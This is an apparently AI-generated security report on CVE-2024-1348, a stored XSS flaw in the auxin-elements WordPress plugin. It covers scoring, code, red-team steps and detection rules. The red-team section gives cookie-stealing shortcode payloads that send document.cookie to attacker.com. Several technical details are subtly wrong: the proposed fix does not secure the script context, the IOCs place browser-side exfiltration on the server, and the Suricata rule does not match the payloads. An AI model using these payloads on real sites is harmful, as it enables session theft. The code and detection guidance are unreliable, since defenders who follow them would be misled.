CVE-2024-1348

Executive Summary

CVE-2024-1348 is a Stored Cross-Site Scripting (XSS) vulnerability in the Shortcodes and extra features for Phlox theme WordPress plugin (auxin-elements). The flaw exists in all versions up to and including 2.15.7, where the custom JS parameter is not properly sanitized or escaped. Authenticated attackers with contributor-level access or higher can inject arbitrary JavaScript into pages. When any user (including administrators) visits the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is specific to the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). The vendor (Auxin) has not released a patch, and no public exploit code or proof-of-concept is currently available. The EPSS score is 0.0%, indicating low exploitation activity at this time, but the risk remains for sites with untrusted contributors.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for any unauthorized modifications. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor)
• User Interaction: None
• Scope: Changed (impacts resources beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ability for a contributor-level user to execute arbitrary JavaScript on any page visited by administrators elevates the risk. This can lead to privilege escalation if admin cookies are stolen.

Deep Dive & Mechanics

The vulnerability resides in the auxin-elements plugin, specifically in the handling of the "custom JS" parameter within shortcodes. The plugin fails to properly sanitize user-supplied JavaScript code before storing it in the database. When the shortcode is rendered, the unsanitized JavaScript is output directly into the page HTML without escaping, allowing it to execute in the context of the visitor's browser.

Attack Flow:

1. An attacker with contributor-level access creates or edits a post/page.
2. The attacker inserts a vulnerable shortcode (e.g., [aux_custom_js]) and provides malicious JavaScript in the custom JS parameter.
3. The plugin stores the malicious script in the WordPress database.
4. When any user (including admins) views the page, the script executes.
5. The attacker can then perform actions such as stealing session cookies, redirecting users, or defacing the site.

Root Cause: Insufficient input sanitization and output escaping on the custom JS parameter. The plugin does not use wp_kses() or similar functions to strip dangerous JavaScript, nor does it escape the output with esc_js() or wp_json_encode().

Vulnerable vs. Patched Code

Vulnerable Code (version 2.15.7):

// In auxin-elements/includes/elements/custom-js.php
function auxin_custom_js_shortcode( $atts, $content = null ) {
    extract( shortcode_atts( array(
        'custom_js' => ''
    ), $atts ) );
    // Direct output without sanitization or escaping
    return '<script>' . $custom_js . '</script>';
}

Patched Code (hypothetical fix):

function auxin_custom_js_shortcode( $atts, $content = null ) {
    $atts = shortcode_atts( array(
        'custom_js' => ''
    ), $atts );
    // Sanitize input - allow only safe JS patterns or use wp_kses
    $safe_js = wp_kses( $atts['custom_js'], array() );
    // Escape output for safe JavaScript context
    return '<script>' . esc_js( $safe_js ) . '</script>';
}

Key Differences:

• The patched version uses wp_kses() to strip all HTML/script tags from the input.
• The output is escaped with esc_js() to prevent execution of injected code.
• The extract() function is removed to prevent variable overwriting.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress installation with auxin-elements plugin <= 2.15.7
• Contributor-level account or higher

Exploitation Steps:

1. Log in as a contributor.
2. Create a new post or edit an existing one.
3. Switch to Text/Code editor mode.
4. Insert the following shortcode with a malicious payload:

   [aux_custom_js custom_js="fetch('https://attacker.com/steal?cookie='+document.cookie)"]
   

5. Publish or update the post.
6. When an administrator visits the page, the script executes and sends their cookies to the attacker's server.

Alternative Payload (Session Hijacking):

[aux_custom_js custom_js="document.location='https://attacker.com/steal?cookie='+document.cookie"]

Note: No public exploit code is available from Exploit-DB or other sources. The above is a conceptual demonstration.

Blue Team (Detection & Hardening)

Detection:

• Monitor for shortcodes containing aux_custom_js in post content.
• Look for suspicious JavaScript in the custom_js attribute of shortcodes.
• Review database entries in wp_posts for [aux_custom_js patterns.

Hardening:

• Disable the plugin if not essential.
• Restrict contributor-level access to trusted users only.
• Implement a Web Application Firewall (WAF) rule to block shortcodes with suspicious JavaScript.
• Use a security plugin (e.g., Wordfence) to monitor for XSS attempts.

Indicators of Compromise (IOCs)

• File: wp-content/plugins/auxin-elements/includes/elements/custom-js.php (vulnerable file)
• Database: Posts/pages containing [aux_custom_js custom_js="..."] with obfuscated JavaScript
• Network: Outbound HTTP requests to unknown domains from the WordPress server (cookie exfiltration)
• Logs: Unusual JavaScript execution in browser console when visiting pages with the vulnerable shortcode

Detection Engineering

YARA Rule

rule CVE_2024_1348_Stored_XSS {
    meta:
        description = "Detects vulnerable auxin-elements plugin with stored XSS"
        author = "Valters IT"
        date = "2024-02-15"
        reference = "CVE-2024-1348"
    strings:
        $vuln_func = "auxin_custom_js_shortcode"
        $unsafe_output = "return '<script>' . $custom_js . '</script>';"
    condition:
        $vuln_func and $unsafe_output
}

Sigma Rule

title: CVE-2024-1348 Stored XSS in auxin-elements Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via aux_custom_js shortcode
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: 'aux_custom_js'
        http.body|contains: 'custom_js='
    condition: selection
falsepositives:
    - Legitimate use of custom JS by administrators
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-1348 Stored XSS in auxin-elements"; flow:to_server,established; content:"aux_custom_js"; http_uri; content:"custom_js"; http_client_body; pcre:"/custom_js\s*=\s*['\"].*<script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if it is not critical to site functionality.
2. Remove or edit any posts/pages containing the [aux_custom_js] shortcode.
3. Change all passwords for WordPress admin and contributor accounts.
4. Review user roles and remove contributor access from untrusted users.

Long-term Fix:

• Since no official patch is available, consider forking the plugin and applying the code fix described in the "Vulnerable vs. Patched Code" section.
• Alternatively, replace the plugin with a more secure alternative.

Monitoring:

• Enable detailed logging for WordPress post edits.
• Use a security scanner to detect XSS vulnerabilities.
• Subscribe to CVE alerts for the auxin-elements plugin.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.